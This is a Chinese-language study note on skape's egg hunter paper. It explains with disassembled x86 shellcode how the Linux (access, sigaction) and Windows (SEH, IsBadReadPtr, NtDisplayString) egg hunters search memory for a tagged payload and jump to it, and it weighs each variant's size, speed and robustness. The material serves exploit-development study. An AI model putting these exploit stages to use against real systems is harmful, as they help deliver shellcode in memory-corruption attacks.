# Egg hunter design 一篇由 fuzzy security 推薦的 [egg hunter paper](http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) ## 目標 本文主要教你如何大海撈針,所謂大海即 VAS 針頭就是 egg ,VAS有很大部分為 unallocated ,如果直接去 access 這些 region 則會有嚴重的後果 需要大海撈針的情況:目標程式僅給予有限空間放 payload ,但其他資料可以儲存在另外的空間中 例子: IE object type vulnerability: 其他資料可以透過 HTML 送入 IE ,最後存在 heap 中 對於 egg hunter 的幾個要求: 1. 強健性: 遇到 unalloacted memory 也不會壞掉 2. 夠小: 空間就有限了... 3. 夠快: 在不違反 1. 2. 的情況下盡可能加速 ## 實作 首先必須要有個 tag ,作者說大小為 8 bytes 就足以,至於為啥要重複前四個 byte 組成 8 byte 則是方便縮小 egg hunter 大小 ### Linux linux 下實作要注意因為 access unallocated memory 帶來的 SIGSEGV ,解決方式有兩種: 1. 註冊 SIGSEGV 攔截 signal 2. 利用 syscall ,想當然註冊 SIGSEGV 要麻煩許多,因此選擇 syscall syscall 在遇到 invalid memory 時只會 return EFAULT 表示 syscall 失敗,符合條件1 選中的 syscall 為 access ,原因是1. pointer 參數很少, 2. access 不會想對任何 pointer 做寫入,不會發生 SIGSEGV #### Version 1 ```asm=+ 00000000 BB90509050 mov ebx,0x50905090 ``` 0x50905090 為 tag ```asm=+ 00000005 31C9 xor ecx,ecx 00000007 F7E1 mul ecx ``` 將 ecx, eax, edx 歸零 ```asm=+ 00000009 6681CAFF0F or dx,0xfff 0000000E 42 inc edx ``` 設定 edx 為一個 page 單位 ```asm=+ 0000000F 60 pusha ``` 保存當前 reg ```asm=+ 00000010 8D5A04 lea ebx,[edx+0x4] ``` 設定 1st arg ,這邊加四 paper 上是說因為允許比對八個 byte 的連續記憶體 ```asm=+ 00000013 B021 mov al,0x21 00000015 CD80 int 0x80 ``` 設定 syscall 編號並執行 ```asm=+ 00000017 3CF2 cmp al,0xf2 ``` 比較回傳直 ```asm=+ 00000019 61 pop 0000001A 74ED jz 0x9 ``` 回傳直等於 return error code 則繼續 + 0x1000 找可以 access 的 page ```asm=+ 0000001C 391A cmp [edx],ebx ``` 比較 tag 不成功則再加1 ```asm=+ 0000001E 75EE jnz 0xe 00000020 395A04 cmp [edx+0x4],ebx ``` 比對成功再比對一次 ```asm=+ 00000023 75E9 jnz 0xe 00000025 FFE2 jmp edx ``` 優點: 強建性很夠,而且夠小,速度要再加強 缺點: 很多地方可以優化,且 egg 必須可執行(? #### Version 2 ```asm= 00000000 31D2 xor edx,edx 00000002 6681CAFF0F or dx,0xfff 00000007 42 inc edx ``` edx 為一個 page 單位 ```asm=+ 00000008 8D5A04 lea ebx,[edx+0x4] 0000000B 6A21 push byte +0x21 0000000D 58 pop eax 0000000E CD80 int 0x80 ``` 設定 access 必須的參數並呼叫 syscall ```asm=+ 00000010 3CF2 cmp al,0xf2 00000012 74EE jz 0x2 ``` 比較回傳值 ```asm=+ 00000014 B890509050 mov eax,0x50905090 00000019 89D7 mov edi,edx 0000001B AF scasd ``` 比較四個 byte 是否相等,相等則加四 ```asm=+ 0000001C 75E9 jnz 0x7 0000001E AF scasd 0000001F 75E6 jnz 0x7 00000021 FFE7 jmp edi ``` 找到後 edi 經過前兩次 scasd 已經指到 egg 上,故直接跳轉即可 優點: 在維持第一版的強建性下還縮小 size 並加速且 egg 可以為 non excutable 缺點: 1. size 還是略大 2. 因為 scasd 的關系若 DF 有被設定則會出錯(很少見),但可以透過 cld 改進 #### sigaction 前一種一次只能確定一個 address 是否為 valid, sigaction 透過 kernel 的 verify_area 一次可以確認多個 prototype: ```c= int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact); ``` 透過設定 act 來一次確認一大區域是否 valid 以下程式碼最大的優點在於無須在做 +4 是否為 valid memory 的確認,因為 sigaction 會自動做 16 byte 的確認 ※我覺得他是直接把某個記憶體的地址當作 struct sigaction 的 ptr 傳給 sigaction ,若其中不是 valid ptr 就會自動報錯 另外一個優點是 ecx 不用歸零,他直接就是 sigaction 的參數來使用 還有個問題: edx 為何不用設定一個可行的 pointer ?原因是 old_act 只會在 act 起作用的時候才有反應,而這種情況非常少見(不能說沒有) 這個 egg hunter 跟前面的實作上來說最佳化不少東西,唯一要擔心的點可能就是 kernel sigaction 這個 function 若改變實作方法就必須隨著更動 ```asm= 00000000 6681C9FF0F or cx,0xfff 00000005 41 inc ecx 00000006 6A43 push byte +0x43 00000008 58 pop eax 00000009 CD80 int 0x80 0000000B 3CF2 cmp al,0xf2 0000000D 74F1 jz 0x0 0000000F B890509050 mov eax,0x50905090 00000014 89CF mov edi,ecx 00000016 AF scasd 00000017 75EC jnz 0x5 00000019 AF scasd 0000001A 75E9 jnz 0x5 0000001C FFE7 jmp edi ``` 總結一下可能的問題:1. 萬一 struct sigaction *act 指到的區域正好是一個 struct sigaction ,則 egg hunter 有可能覆蓋掉 signal handler 2. 萬一 act 真的起作用且 old_act 剛好不在 valid memory 範圍,則 sigaction 依舊返回 EFAULT 最萬無一失的解決方法就是設定 edx 為 null 或 ebx 給個 invalid signal number ### Windows篇: windows 下的 egg hunter 主要有兩種做法: 1. SEH 2. 跟 linux 差不多功用的 syscall SEH: windows 跟 linux 用 signal 接 SIGSEGV 比較不一樣,更傾向於統一 catch exception 並嘗試修正,這種機制大大的幫助了 egg hunter 的強建性,註冊一個 SEH 就可以在 access invalid memory 時不會 crash SEH 結構: ```c= typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; EXCEPTION_DISPOSITION (*Handler)( struct _EXCEPTION_RECORD *record, void *frame, struct _CONTEXT *ctx, void *dispctx); } EXCEPTION_REGISTRATION_RECORD ``` 其中 Next 為下一個 SEH 的 ptr ,若為最後一個則 Next = 0xffffffff Handler 則是註冊的 exception function ,解決成功返回 ExceptionContinueExecution 不成功則 ExceptionContinueSearch 繼續延著 Next 找到能解決該 exception 的 handler 這份 Exception 之巨大超過本篇文章出現的所有 egg hunter ,他的優勢在於可移植性很高,因為很多 Windows 版本都有 SEH 該 egg hunter 具體可以分為三個 stage: 1. register seh 2. egg comparsion 3. exception handler ```asm= 00000000 EB21 jmp short 0x23 00000002 59 pop ecx 00000003 B890509050 mov eax,0x50905090 00000008 51 push ecx 00000009 6AFF push byte -0x1 0000000B 33DB xor ebx,ebx 0000000D 648923 mov [fs:ebx],esp 00000010 6A02 push byte +0x2 00000012 59 pop ecx 00000013 8BFB mov edi,ebx 00000015 F3AF repe scasd 00000017 7507 jnz 0x20 00000019 FFE7 jmp edi 0000001B 6681CBFF0F or bx,0xfff 00000020 43 inc ebx 00000021 EBED jmp short 0x10 00000023 E8DAFFFFFF call 0x2 00000028 6A0C push byte +0xc 0000002A 59 pop ecx 0000002B 8B040C mov eax,[esp+ecx] 0000002E B1B8 mov cl,0xb8 00000030 83040806 add dword [eax+ecx],byte +0x6 00000034 58 pop eax 00000035 83C410 add esp,byte +0x10 00000038 50 push eax 00000039 33C0 xor eax,eax 0000003B C3 ret ``` Analysis: 0x0 和 0x23 要接著看: ```asm 0x0: jmp short 0x23 0x23: call 0x2 ``` 這邊看起來很莫名,其實就是把 stage 2 的 egg comparsion 指令地址 push 進 stack 方便做利用 ```asm 0x2: pop ecx ``` egg comparsion address pop to ecx ```asm 0x3: mov eax, 0x50905090 ``` 這邊跟 exception handler register 無關,但是跟 stage 2 有關 接下來就是把一個 EXCEPTION REGISTRATION RECORD structure 放進 stack ,之後的註冊就是把該 structure 放進 SEH chain 中並確保會第一個執行 註冊方法是: ```asm 00000008 51 push ecx 00000009 6AFF push byte -0x1 0000000B 33DB xor ebx,ebx 0000000D 648923 mov [fs:ebx],esp ``` 將存有 egg comparsion address 的 ecx push into stack ,當作是 Handler ,然後歸零 ebx 並以此當 offset ,將 esp (現在 *esp = 0xffffffff) 給 [fs: 0] ,這樣就完成一次註冊 接下來就是 egg comparsion 的部分了 ```asm 00000010 6A02 push byte +0x2 00000012 59 pop ecx ``` ecx = 2 ,目的是為了之後的 repe ,要比較兩次 4bytes 的 egg tag ```asm 00000013 8BFB mov edi,ebx 00000015 F3AF repe scasd 00000017 7507 jnz 0x20 ``` 比對不符跳到 0x20 ```asm 00000019 FFE7 jmp edi 0000001B 6681CBFF0F or bx,0xfff 00000020 43 inc ebx 00000021 EBED jmp short 0x10 ``` ebx + 1 後再比對 egg 一次 若是 edx 指到 invalid memory , exception 會啟動並將 eip 帶回到 current address + 6 byte 的位置,也就是: ```asm 0000001B 6681CBFF0F or bx,0xfff 00000020 43 inc ebx 00000021 EBED jmp short 0x10 ``` 這邊 ebx 增加一個 page 並返回 ```asm 00000010 6A02 push byte +0x2 00000012 59 pop ecx 00000013 8BFB mov edi,ebx 00000015 F3AF repe scasd 00000017 7507 jnz 0x20 ``` 繼續比對 找到後 edi 指向 shellcode ,透過 jmp edi 就可以抵達 shellcode 這邊的 exception 負責更新 instruction pointer ,若中途有其他的 exception 被觸發,則整個程式將會變的不穩定 優點: 1. 移植性高 2. 稍稍快一點,但由於 code 較長,會拖累速度 3. 由於比較用 ecx 配合 repe ,可以比對多於 8 byte 的 egg tag 缺點: 1. 跟其他 shellcode 相比 size 不算大,但對於 egg hunter 來說有點大,很可能在中途會觸發其他 exception 2. 可能因為 DF set 而失敗 #### IsBadAReadPtr 也需要註冊 seh ,不過這次只判斷傳進來的 ptr 可不可以讀 prototype: ```c BOOL IsBadReadPtr( const VOID* lp, UINT_PTR ucb ); ``` ```asm= 00000000 33DB xor ebx,ebx 00000002 6681CBFF0F or bx,0xfff 00000007 43 inc ebx 00000008 6A08 push byte +0x8 0000000A 53 push ebx 0000000B B80D5BE777 mov eax,0x77e75b0d 00000010 FFD0 call eax 00000012 85C0 test eax,eax 00000014 75EC jnz 0x2 00000016 B890509050 mov eax,0x50905090 0000001B 8BFB mov edi,ebx 0000001D AF scasd 0000001E 75E7 jnz 0x7 00000020 AF scasd 00000021 75E4 jnz 0x7 00000023 FFE7 jmp edi ``` 這份 code 基本上跟用 syscall 沒啥差別,最大差別在於一個是用 syscall 一個不是XD ```asm 00000000 33DB xor ebx,ebx 00000002 6681CBFF0F or bx,0xfff 00000007 43 inc ebx 00000008 6A08 push byte +0x8 0000000A 53 push ebx ``` 設定好 ebx 為 page 單位,跟 syscall 不同,直接把參數放進 stack 即可 ```asm 0000000B B80D5BE777 mov eax,0x77e75b0d 00000010 FFD0 call eax ``` 將 eax 設定為 isBadPtr 地址並執行 ※ isBadPtr 是 windows (某 dll ) 的 function ,因此可以直接用絕對地址(沒 ASLR) 主要就是不停拿 eax 來判斷,若 return 非 0 表示 ebx 的地址為 invalid 那就繼續更新 page 繼續找 若 valid 就一個 byte 一個 byte 找 egg tag 優點: 1. 利用 API-backed 機制來判斷 memory valid ,假設 windows 沒有拋棄這個 function ,那他對之後任意版本的 windows 皆有效 2. 1.的原因保證了一定的強建性 缺點: 1. 因為採用的是絕對地址,萬一之後地址不同就不能用 2. 也有可能發生 race condition ,假如 isBadPtr 查找過這個 page 但其他 thread 把 page unallocated 照樣會發生 access invalid memory #### NtDisplayString 最後一種 egg hunter ,也是最小最優雅的一種,不過通常只用於 Nt衍生版本的 windows , windows 9X 應該也行 原理就是利用 syscall 來確定整個 memory region 是否 valid windows 下的 syscall 跟 linux 不同的地方在於 windows 的參數必須透過 edx 傳遞一個 vector 這次要用的是NtDisplayString, prototype: ```c NTSYSAPI NTSTATUS NTAPI NtDisplayString( IN PUNICODE_STRING String ); ``` ※有點我很納悶,一般來說 windows 的 syscall 不能直接呼叫吧,那 NtDisplayString 是啥玩意 透過 NtDisplayString 來判斷 ptr 可以讀而且不會做任何寫入動作,很符合我們的需求 ```asm 00000000 6681CAFF0F or dx,0xfff 00000005 42 inc edx 00000006 52 push edx 00000007 6A43 push byte +0x43 00000009 58 pop eax 0000000A CD2E int 0x2e 0000000C 3C05 cmp al,0x5 0000000E 5A pop edx 0000000F 74EF jz 0x0 00000011 B890509050 mov eax,0x50905090 00000016 8BFA mov edi,edx 00000018 AF scasd 00000019 75EA jnz 0x5 0000001B AF scasd 0000001C 75E7 jnz 0x5 0000001E FFE7 jmp edi ``` 基本上跟 linux 最終最佳化版本差不多,差別主要在於 register 的功用 edx 用於搜尋,而且在 cross syscall 的時候 edx 不會保留,所以要自行保留,另外就是比較 return value 是否為 0xc0000005 (STATUS_ACCESS_VIOLIATION) 優點: 最小最快最強健的 egg hunter ,缺點就是不能用在 9X 系統上, 9X 版本要自己修改一些設定 缺點: 受限於 NtDisplayString 的編號不變,若之後 windows 改變其編號則 shellcode 要另外更新,且 DF 若被設定也會出問題